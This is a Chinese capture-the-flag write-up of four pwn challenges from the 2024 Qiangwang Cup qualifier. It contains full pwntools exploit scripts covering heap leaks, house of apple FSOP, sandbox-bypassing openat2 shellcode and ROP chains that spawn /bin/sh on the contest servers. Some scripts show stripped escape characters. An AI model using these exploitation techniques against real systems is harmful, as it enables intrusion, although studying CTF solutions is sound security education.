2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

admin 2024年11月6日10:06:55评论27 views字数 10577阅读35分15秒阅读模式

2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

PWN

chat_with_me (一血)

2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

代码审计

rust不好纯静态看,建议动静结合 感觉像是经典菜单题

2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

不想直接硬审计,先看到edit这块有类似输入大小的限制,测试一下

2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

然后发现报错

2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

盲猜是变量被我们覆盖了,漏洞很可能是内存溢出导致的变量覆盖 show这块的话有地址泄露的风险,也是测得出来 分析的时候,随便把message结构体搞出来了

struct message_box{ # 通过add函数动态空间
    char *message1; # 指针在stack
    char *message2;
    .....
}

思路

通过调试发现,我们输入的缓存区是在heap里的0x2021大小的堆里,我们可以free任意地址,所以我们可以在伪造chunk,把这个伪chunk给free掉,然后加入到unsorted bin里,通过add函数我们把存放message的chunk空间申请完,它便会重新申请一块地址给我们使用

这时我们就可以通过输入控制message的指针,实现任意读写,以及程序流程控制

exp

from pwn import*
context(arch='amd64', os='linux',log_level="debug")
context.terminal
=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc = ELF("./libc.so.6")
"""""
def xxx():
    p.sendlineafter("
")
    p.sendlineafter("
")
    p.sendlineafter("
")
"
""

def get_p(name):
    global p,elf 
    # p = process(name)
    p = remote("59.110.156.237",30991)
    # p = remote('127.0.0.1',6666)
    elf = ELF(name)

def add():
    p.sendlineafter("Choice >",'1')

def show(idx):
    p.sendlineafter("Choice >",'2')
    p.sendlineafter("Index >",str(idx))
def edit(idx,content):
    p.sendlineafter("Choice >",'3')
    p.sendlineafter("Index >",str(idx))
    p.sendafter("Content",content)
def dele(idx):
    p.sendlineafter("Choice >",'4')
    p.sendlineafter("Index >",str(idx))
get_p("./pwn")
add()
show(0)
p.recvuntil("Content: [2, 0, 0, 0, 0, 0, 0, 0, ")
heap = int(p.recvuntil(",")[:-1]) + int(p.recvuntil(",")[:-1])*0x100 + int(p.recvuntil(",")[:-1])*0x10000 + int(p.recvuntil(",")[:-1])*0x1000000 + int(p.recvuntil(",")[:-1])*0x100000000 + int(p.recvuntil(",")[:-1])*0x10000000000
p.recvuntil("0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ")
stack = int(p.recvuntil(",")[:-1]) + int(p.recvuntil(",")[:-1])*0x100 + int(p.recvuntil(",")[:-1])*0x10000 + int(p.recvuntil(",")[:-1])*0x1000000 + int(p.recvuntil(",")[:-1])*0x100000000 + int(p.recvuntil(",")[:-1])*0x10000000000

p.recvuntil("0, 0, ")
pie = int(p.recvuntil(",")[:-1]) + int(p.recvuntil(",")[:-1])*0x100 + int(p.recvuntil(",")[:-1])*0x10000 + int(p.recvuntil(",")[:-1])*0x1000000 + int(p.recvuntil(",")[:-1])*0x100000000 + int(p.recvuntil(",")[:-1])*0x10000000000
p.recvuntil("0, 0, 5, 0, 0, 0, 0, 0, 0, 0, ")
guess_1 = int(p.recvuntil(",")[:-1]) + int(p.recvuntil(",")[:-1])*0x100 + int(p.recvuntil(",")[:-1])*0x10000 + int(p.recvuntil(",")[:-1])*0x1000000 + int(p.recvuntil(",")[:-1])*0x100000000 + int(p.recvuntil(",")[:-1])*0x10000000000
pie = pie - 0x635b0
print(hex(heap))
print(hex(stack))
print(hex(pie))
print(hex(guess_1))


raw_input()
edit(0,b"A"*8+p64(0x21)+b"A"*0x10+p64(heap-0x2010)+p64(0x2051))
for i in range(0x4):
    add()
elf.address = pie

edit(0,b"x00"*0x30+p64(stack-0x50)+p64(elf.got['syscall']))
show(1)

p.recvuntil("Content: [")
libc.address = int(p.recvuntil(",")[:-1]) + int(p.recvuntil(",")[:-1])*0x100 + int(p.recvuntil(",")[:-1])*0x10000 + int(p.recvuntil(",")[:-1])*0x1000000 + int(p.recvuntil(",")[:-1])*0x100000000 + int(p.recvuntil(",")[:-1])*0x10000000000 - libc.sym['syscall']
print(hex(libc.address))
# gdb.attach(p,"b *$rebase(0x00001A2E4)")
# sleep(2)
pop_rdi = 0x000000000010f75b + libc.address
system = libc.sym['system']
binsh = next(libc.search(b"/bin/sh"))
payload = p64(pop_rdi)+ p64(binsh) + p64(pop_rdi+1) + p64(system)
edit(0,payload)
p.interactive()

比较恶心的一点就是本地交互和远程交互的时候heap布局不一样,需要我们docker+gdbserver去动调得到

baby_heap (一血)

2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

代码审计

2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

直接漏洞点,没啥好说的UAF,一眼house of apple

沙盒

2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

限制了我们open和openat,打不开文件了

思路

只能show一次和edit一次,所以把chunk加入largebin就行,就可以同时泄露出来heap和libc地址,然后在通过UAF打house of apple控制程序流程,这里有一点,我们攻击完之后edit次数用完了,所以要想办法回到我们edit的chunk上

方法就是把攻击流程中进入large bin的chunk再申请出来就行了,然后IO_list_all的指针就会是我们想要的chunk地址

绕过沙盒,之前看到openat2系统调用,真的很玄学,一些题可以一些题不行,这题直接用openat2就ok

exp

from pwn import*
context(arch='amd64', os='linux',log_level="debug")
context.terminal
=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc = ELF("./libc-2.35.so")
"""""
def xxx():
    p.sendlineafter("
")
    p.sendlineafter("
")
    p.sendlineafter("
")
"
""

def get_p(name):
    global p,elf 
    # p = process(name, env={"LD_PRELOAD":"./libc-2.35.so"})
    p = remote("47.93.55.85",33046)
    elf = ELF(name)


def add(size):
    p.sendlineafter("Enter your choice: ",'1')
    p.sendlineafter("Enter your commodity size",str(size))

def dele(idx):
    p.sendlineafter("Enter your choice: ",'2')
    p.sendlineafter("Enter which to delete:",str(idx))

def edit(idx,content):
    p.sendlineafter("Enter your choice: ",'3')
    p.sendlineafter("Enter which ",str(idx))
    p.sendafter("Input the content",content)

def show(idx):
    p.sendlineafter("Enter your choice: ",'4')
    p.sendlineafter("Enter which ",str(idx))

def set_gev(chose):
    p.sendlineafter("Enter your choice: ",'5')
    p.sendlineafter("Maybe you will be sad !",str(chose))

get_p("./pwn")
add(0x520)
add(0x500)
add(0x510)
dele(1)
add(0x540)
show(1)


libc.address = u64(p.recvuntil("x7f")[-6:].ljust(0x8,b"x00")) - 0x21b110
print(hex(libc.address))
p.recv(2+8)
heap = u64(p.recv(8))
print(hex(heap))

dele(3)

payload = p64(libc.address+0x21b110)*2 + p64(heap) + p64(libc.sym['_IO_list_all']-0x20)



FP = heap 
A = FP + 0x100
B = A + 0xe0 - 0x60

_IO_wfile_jumps = libc.address + 0x216f58 - 0x18
ROP_addr = heap+0x300
pop_rdi = 0x000000000002a3e5 + libc.address
pop_rsi = 0x000000000002be51 + libc.address
pop_rdx = 0x000000000011f2e7 + libc.address
pop_rax = 0x0000000000045eb0 + libc.address
ret = pop_rdi + 1
syscall = 0x0000000000091316 + libc.address
setcontext = libc.sym['setcontext']
payload = (payload).ljust((0xa0-0x10),b"x00") + p64(A) # 
payload = payload.ljust(0xb0,b"x00") + p64(1)
payload = payload.ljust(0xc8,b"x00") + p64(_IO_wfile_jumps-0x40)
payload = payload.ljust(0x190,b"x00") + p64(ROP_addr) + p64(ret)
payload = payload.ljust(0xf0+0xe0,b"x00") + p64(B) + p64(setcontext + 61)

code = asm('''
    mov rax, 0x67616c662f2e
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    push 0
    push 0
    push 0
    mov rdx, rsp
    mov r10, 0x18
    push SYS_openat2
    pop rax
    syscall
           
    mov rax,0
    mov rdi,3
    mov rsi,rsp
    mov rdx,0x50
    syscall
    
    mov rax,1
    mov rdi,1
    syscall    ''')
payload = payload.ljust(0x2f0,b"x00") + p64(pop_rdi) + p64(heap&0xfffffffff000) + p64(pop_rsi) + p64(0x3000) + p64(pop_rdx) + p64(7)*2 + p64(libc.sym['mprotect']) + p64(heap+0x400)


payload = payload.ljust(0x3f0,b"x00") + code
edit(1,payload)
add(0x5f0)
add(0x510)
# gdb.attach(p,"b *&_IO_wfile_overflow")
# sleep(2)
add(0x600)
p.interactive()

qroute (一血)

2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

代码审计

程序实现了类似route的功能,我们需要先登录才能进入configure模式

2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

有加密的部分

2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

给学弟解密,嘻嘻嘻

2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

然后就可以开始测试,rust最好是动调+静态结合 直接猜测漏洞是在ping和traceroute上,在ping函数的看到了这段

2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

猜测是这段,发现长度无法绕过去,就想到了IP地址是点来划分的,所以用"."点来测试,然后就成功了

2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

就来到了ROP的部分,这个Rust程序没有那么多正常的gadget

2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

但是有syscall_read函数,调试发现控制rbx和rcx就可以进行编写,那么就可以使用栈迁移,就不用考虑ROP链的大小

exp

from pwn import*
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
# libc = ELF("./libc-so.6")
"""""
def xxx():
    p.sendlineafter("
")
    p.sendlineafter("
")
    p.sendlineafter("
")
"
""

def get_p(name):
    global p,elf 
    # p = process(name)
    p = remote("123.56.219.14",34839)
    elf = ELF(name)

def set_route(route):
    p.sendlineafter("Router",b"set route " + route)

def set_dns(dns,ip):
    p.sendlineafter(b"Router",b"set dns " + dns + b" " + ip)

def exec(cmd):
    p.sendlineafter("Router",b"exec " + cmd)

get_p("./pwn")

pop_rax_rbp = 0x0000000000405368
pop_rbx = 0x0000000000461dc1
pop_rcx = 0x0000000000433347
target = 0x006102B0
pop_rbp = 0x0000000000401030#: pop rbp ; ret
p.sendlineafter("Router#","cert 4ceb539da109caf8eea7")
p.sendlineafter("Router#","configure")
sys_read = 0x0048DB60 
leave_ret = 0x00000000004a721a
payload = b"."*0x207+p64(pop_rbp) + p64(target)+ p64(pop_rcx) + p64(0x200) + p64(pop_rbx) + p64(0x006102B0) + p64(sys_read) + p64(leave_ret)[:5]
set_dns(payload,b'1.1.1.1')

set_route(b"A"*0x3f+b" BBBBB 1")
# p.sendlineafter("Router","exec ping host " +"A"*0x3f)


p.sendlineafter("Router",b"exec ping host " +payload)
# gdb.attach(p,"b *0x004D858C")
# sleep(2)
syscall = 0x004735A9
payload = p64(0) + p64(pop_rax_rbp) + p64(0x3b) + p64(0) + p64(pop_rbx) + p64(target+0x100) + p64(syscall)
p.send(payload.ljust(0x100,b"x00")+b"/bin/shx00")
p.interactive()

expect_number

2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

代码审计

2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

漏洞在这里

2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

我们可以修改到unk_5520的数据

2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

然后发现可以控制到这个位置上

2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

有栈溢出,但是程序是开启了canary并且这里用报错处理的部分,所以我们只能控制相似的报错处理的部分代码

2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeup

然后就找到这个后面函数,我们可以通过修改到unk_0x5520,然后通过show部分泄露出来程序基址 就可以通过栈溢出把原来的报错处理部分给覆盖为后门,记得要把rbp给覆盖好,不然会卡住 数字部分很简单,srand(1),模拟一下就全出来了,然后我们对应控制为想要的值即可

exp

from pwn import*
from ctypes import *
context(arch='amd64', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc=cdll.LoadLibrary("./libc-so.6"
"""""
def xxx():
    p.sendlineafter("
")
    p.sendlineafter("
")
    p.sendlineafter("
")
"
""

def get_p(name):
    global p,elf 
    # p = process(name)
    p = remote("123.56.221.254",30850)
    elf = ELF(name)

libc.srand(1)

def play():
    global num_all,num
    p.sendlineafter("waiting for your choice",'1')
    if fuck_[num_all] == 1 and num < 0x60 : # 加
        p.sendlineafter("Which one do you choose? 2 or 1 or 0",str(2))
        num += 2
    elif fuck_[num_all] == 1 : # 加
        p.sendlineafter("Which one do you choose? 2 or 1 or 0",str(0))
    elif fuck_[num_all] == 2 : # 减
        p.sendlineafter("Which one do you choose? 2 or 1 or 0",str(0))
    elif fuck_[num_all] == 3 : # 乘
        p.sendlineafter("Which one do you choose? 2 or 1 or 0",str(1))
    elif fuck_[num_all] == 4 : # 除
        p.sendlineafter("Which one do you choose? 2 or 1 or 0",str(1))
    num_all += 1
    print(num_all)
for i in range(0x120):
#     print((libc.rand()%4)+1,end=",")

fuck_ = [4,3,2,4,2,4,3,1,2,2,3,4,3,4,4,3,1,3,1,1,4,1,4,2,3,3,3,4,4,4,2,3,3,3,2,4,2,1,4,3,2,2,2,4,1,2,3,1,4,3,2,3,4,1,1,2,3,3,1,2,2,2,1,4,1,2,3,2,2,2,1,4,3,2,3,4,3,1,4,3,4,1,1,3,1,1,4,4,3,4,1,1,1,1,4,1,3,3,3,4,4,3,3,3,4,2,2,3,2,1,1,1,2,1,3,2,2,2,1,4,1,2,4,2,2,4,2,4,2,4,4,1,2,2,3,2,3,4,4,1,1,4,1,2,4,4,3,1,1,4,1,2,1,4,3,2,3,4,2,4,4,1,1,1,2,3,2,1,3,1,1,3,4,1,4,4,4,2,4,1,1,4,2,1,4,4,3,2,3,4,2,2,4,2,3,1,4,4,1,2,1,1,4,4,2,3,3,1,1,3,1,1,2,2,2,1,1,4,3,4,3,4,1,2,1,3,2,4,3,3,2,3,3,1,2,4,4,1,1,4,3,1,4,4,3,1,1,3,4,3,2,2,2,3,3,2,1,1,1,3,3,2,1,1,3,3,1,2,3,1,1,1,1,4,4,3,1,4,2,4,2,3,2,3,1,4,4,2]


num_all = 0
num = 0
get_p("./expect_number")

for x in range(0x114):
    play()

p.sendlineafter("waiting",'2')
p.recvuntil("110101120011111121221210111111011101021100012012110112201120002120100021101112111221221111222212111111111001022202100021201001010112001011122120111221202110110112220102122112111012210211101100101011000011011001000000011111000101110110011001101110011100011000011000110010000111")

pie = u64(p.recv(6).ljust(0x8,b"x00"))


# # print(i)
p.sendlineafter("waiting",'4')
# gdb.attach(p,"b *$rebase(0x00251F)")
# sleep(2)
print(hex(pie))
print(0x00024E1+0x4000)

backdoor = pie - 0x4c60 + 0x251a
p.sendafter("Tell me your favorite number.",p64(pie+0x1000-0xc60+0x900)*5+p16(backdoor&0xffff))
p.interactive()

原文始发于微信公众号(ACT Team):2024年第八届“强网杯”全国网络安全挑战赛线上初赛Pwn Writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月6日10:06:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024年第八届强网杯全国网络安全挑战赛线上初赛Pwn Writeuphttps://cn-sec.com/archives/3359018.html

发表评论

匿名网友 填写信息